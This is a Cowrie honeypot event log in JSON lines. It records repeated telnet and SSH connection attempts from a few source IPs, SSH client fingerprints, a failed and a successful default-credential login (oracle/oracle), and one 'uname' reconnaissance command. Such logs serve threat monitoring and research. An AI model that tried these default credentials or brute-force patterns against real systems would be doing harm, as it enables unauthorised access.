{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":51604,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4a34ffb3f9","protocol":"telnet","message":"New connection: 117.120.7.112:51604 (159.203.135.109:23) [session: 3b4a34ffb3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:51.378812Z"}
{"eventid":"cowrie.session.closed","duration":30.445526599884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:51.951168Z","src_ip":"185.111.235.80","session":"2cc8dfaae140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421770572662354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.002187Z","src_ip":"117.120.7.112","session":"f2783861dfea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47600,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a012d1bf95d","protocol":"telnet","message":"New connection: 185.111.235.80:47600 (10.17.0.5:23) [session: 2a012d1bf95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.061153Z"}
{"eventid":"cowrie.session.closed","duration":32.466313123703,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.165337Z","src_ip":"185.111.235.80","session":"c759241abe40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029845714569092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.302117Z","src_ip":"185.111.235.80","session":"5ebf08de960f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42752242088318,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.489743Z","src_ip":"185.111.235.80","session":"70adc7ec5ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.545149087905884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.585093Z","src_ip":"185.111.235.80","session":"1fb93baac1fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d05cf97ebc0","protocol":"telnet","message":"New connection: 117.120.7.112:55594 (159.203.135.109:23) [session: 7d05cf97ebc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:52.788009Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":56296,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc359a96e9a8","protocol":"telnet","message":"New connection: 117.120.7.112:56296 (159.203.135.109:23) [session: fc359a96e9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.064116Z"}
{"eventid":"cowrie.session.closed","duration":30.56307315826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.082172Z","src_ip":"117.120.7.112","session":"25fa96e816ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.644364833831787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.594010Z","src_ip":"117.120.7.112","session":"e58e179def14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57966,"dst_ip":"159.203.135.109","dst_port":23,"session":"922fddf9d7c7","protocol":"telnet","message":"New connection: 117.120.7.112:57966 (159.203.135.109:23) [session: 922fddf9d7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.642304Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33098,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea22fae30b9","protocol":"telnet","message":"New connection: 185.111.235.80:33098 (10.17.0.5:23) [session: eea22fae30b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.679535Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42624,"dst_ip":"10.17.0.5","dst_port":22,"session":"362c89e630b9","protocol":"ssh","message":"New connection: 176.65.139.103:42624 (10.17.0.5:22) [session: 362c89e630b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.754308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.759454Z","src_ip":"176.65.139.103","session":"362c89e630b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:53.842170Z","src_ip":"176.65.139.103","session":"362c89e630b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34496,"dst_ip":"10.17.0.5","dst_port":23,"session":"31940f076314","protocol":"telnet","message":"New connection: 185.111.235.80:34496 (10.17.0.5:23) [session: 31940f076314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.040887Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34830,"dst_ip":"10.17.0.5","dst_port":23,"session":"68634bc015e0","protocol":"telnet","message":"New connection: 185.111.235.80:34830 (10.17.0.5:23) [session: 68634bc015e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.099859Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59248,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b0a6a314647","protocol":"telnet","message":"New connection: 117.120.7.112:59248 (159.203.135.109:23) [session: 9b0a6a314647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.147444Z"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.220676Z","src_ip":"176.65.139.103","session":"362c89e630b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":59758,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd0621d7ab6","protocol":"telnet","message":"New connection: 117.120.7.112:59758 (159.203.135.109:23) [session: 7bd0621d7ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.397971Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":60322,"dst_ip":"159.203.135.109","dst_port":23,"session":"65dc345381bb","protocol":"telnet","message":"New connection: 117.120.7.112:60322 (159.203.135.109:23) [session: 65dc345381bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:54.641538Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"b455c42fe7d7","protocol":"telnet","message":"New connection: 185.111.235.80:40450 (10.17.0.5:23) [session: b455c42fe7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:55.201399Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:55.397954Z","src_ip":"176.65.139.103","session":"362c89e630b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33988,"dst_ip":"159.203.135.109","dst_port":23,"session":"9efb2403e3fb","protocol":"telnet","message":"New connection: 117.120.7.112:33988 (159.203.135.109:23) [session: 9efb2403e3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:55.496238Z"}
{"eventid":"cowrie.session.closed","duration":30.88670516014099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:55.923775Z","src_ip":"185.111.235.80","session":"9fd536f2872d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32386589050293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:56.976091Z","src_ip":"185.111.235.80","session":"331f2cc67220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457088708877563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:57.340245Z","src_ip":"117.120.7.112","session":"4ad44b90284b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":38664,"dst_ip":"159.203.135.109","dst_port":23,"session":"9243b179d80e","protocol":"telnet","message":"New connection: 117.120.7.112:38664 (159.203.135.109:23) [session: 9243b179d80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:57.482431Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39180,"dst_ip":"159.203.135.109","dst_port":23,"session":"243bef20aeea","protocol":"telnet","message":"New connection: 117.120.7.112:39180 (159.203.135.109:23) [session: 243bef20aeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:57.682601Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39606,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd204342d88a","protocol":"telnet","message":"New connection: 117.120.7.112:39606 (159.203.135.109:23) [session: fd204342d88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:57.858639Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54796,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0640e1c3140","protocol":"telnet","message":"New connection: 185.111.235.80:54796 (10.17.0.5:23) [session: d0640e1c3140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:58.139445Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0826de32fc2","protocol":"telnet","message":"New connection: 185.111.235.80:54850 (10.17.0.5:23) [session: b0826de32fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:58.145780Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"7304f1c21397","protocol":"telnet","message":"New connection: 117.120.7.112:42058 (159.203.135.109:23) [session: 7304f1c21397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:58.806387Z"}
{"eventid":"cowrie.session.closed","duration":30.639509916305542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:58.914361Z","src_ip":"185.111.235.80","session":"a52e9fd89b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54180,"dst_ip":"10.17.0.5","dst_port":23,"session":"307a43fcf2e1","protocol":"telnet","message":"New connection: 185.111.235.80:54180 (10.17.0.5:23) [session: 307a43fcf2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.049337Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59848,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a8b294f93b","protocol":"telnet","message":"New connection: 185.111.235.80:59848 (10.17.0.5:23) [session: f6a8b294f93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.142132Z"}
{"eventid":"cowrie.session.closed","duration":30.48168635368347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.228791Z","src_ip":"117.120.7.112","session":"fc0208a99234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34552,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b90f66e496e","protocol":"telnet","message":"New connection: 185.111.235.80:34552 (10.17.0.5:23) [session: 2b90f66e496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.703305Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34920,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e81ac2873a0","protocol":"telnet","message":"New connection: 185.111.235.80:34920 (10.17.0.5:23) [session: 8e81ac2873a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.779978Z"}
{"eventid":"cowrie.session.closed","duration":30.303107976913452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:59.918662Z","src_ip":"185.111.235.80","session":"01f5c0b6ceb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f6f818c861d","protocol":"telnet","message":"New connection: 185.111.235.80:59966 (10.17.0.5:23) [session: 8f6f818c861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:00.156531Z"}
{"eventid":"cowrie.session.closed","duration":30.88373112678528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:00.326397Z","src_ip":"117.120.7.112","session":"f8bd6cac6c7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65069532394409,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:00.506625Z","src_ip":"185.111.235.80","session":"fdff3f7593f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552294492721558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.161681Z","src_ip":"117.120.7.112","session":"fe491eea7eb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766335487365723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.393178Z","src_ip":"117.120.7.112","session":"9c98855f074c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42917e9a157","protocol":"ssh","message":"New connection: 176.65.139.103:42650 (10.17.0.5:22) [session: c42917e9a157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.644456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.650836Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":49366,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a974c689b3c","protocol":"telnet","message":"New connection: 117.120.7.112:49366 (159.203.135.109:23) [session: 6a974c689b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.732915Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:01.748078Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.003196Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":41380,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf42c103e53","protocol":"telnet","message":"New connection: 185.111.235.80:41380 (10.17.0.5:23) [session: 0cf42c103e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.046509Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.212481Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.216012Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.306434Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.311654Z","src_ip":"176.65.139.103","session":"c42917e9a157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e61f50c46cf","protocol":"telnet","message":"New connection: 117.120.7.112:43834 (159.203.135.109:23) [session: 6e61f50c46cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.617651Z"}
{"eventid":"cowrie.session.closed","duration":30.86649775505066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.885914Z","src_ip":"185.111.235.80","session":"9b55109c7104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694960832595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:02.924430Z","src_ip":"185.111.235.80","session":"3f2e39b7d1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03031826019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:03.016953Z","src_ip":"117.120.7.112","session":"3b32b194b414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5255868434906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:03.025280Z","src_ip":"117.120.7.112","session":"5287e4284b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1581972a869","protocol":"telnet","message":"New connection: 117.120.7.112:54774 (159.203.135.109:23) [session: e1581972a869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:03.487792Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34270,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fe5686755d4","protocol":"telnet","message":"New connection: 185.111.235.80:34270 (10.17.0.5:23) [session: 3fe5686755d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:03.658309Z"}
{"eventid":"cowrie.session.closed","duration":31.25045084953308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:04.080085Z","src_ip":"117.120.7.112","session":"d598f0b66834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"efee6b04bb4d","protocol":"telnet","message":"New connection: 185.111.235.80:58298 (10.17.0.5:23) [session: efee6b04bb4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:04.148950Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a406fbfd3474","protocol":"telnet","message":"New connection: 185.111.235.80:54368 (10.17.0.5:23) [session: a406fbfd3474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:04.435867Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57330,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6b603a7eaf","protocol":"telnet","message":"New connection: 117.120.7.112:57330 (159.203.135.109:23) [session: 8f6b603a7eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:04.495846Z"}
{"eventid":"cowrie.session.closed","duration":30.907760858535767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:05.020286Z","src_ip":"185.111.235.80","session":"c77d87bea5ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826598405838013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:05.243693Z","src_ip":"117.120.7.112","session":"00b6af9abca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ccc8db211aa","protocol":"telnet","message":"New connection: 185.111.235.80:36924 (10.17.0.5:23) [session: 2ccc8db211aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:26:05.615921Z"}
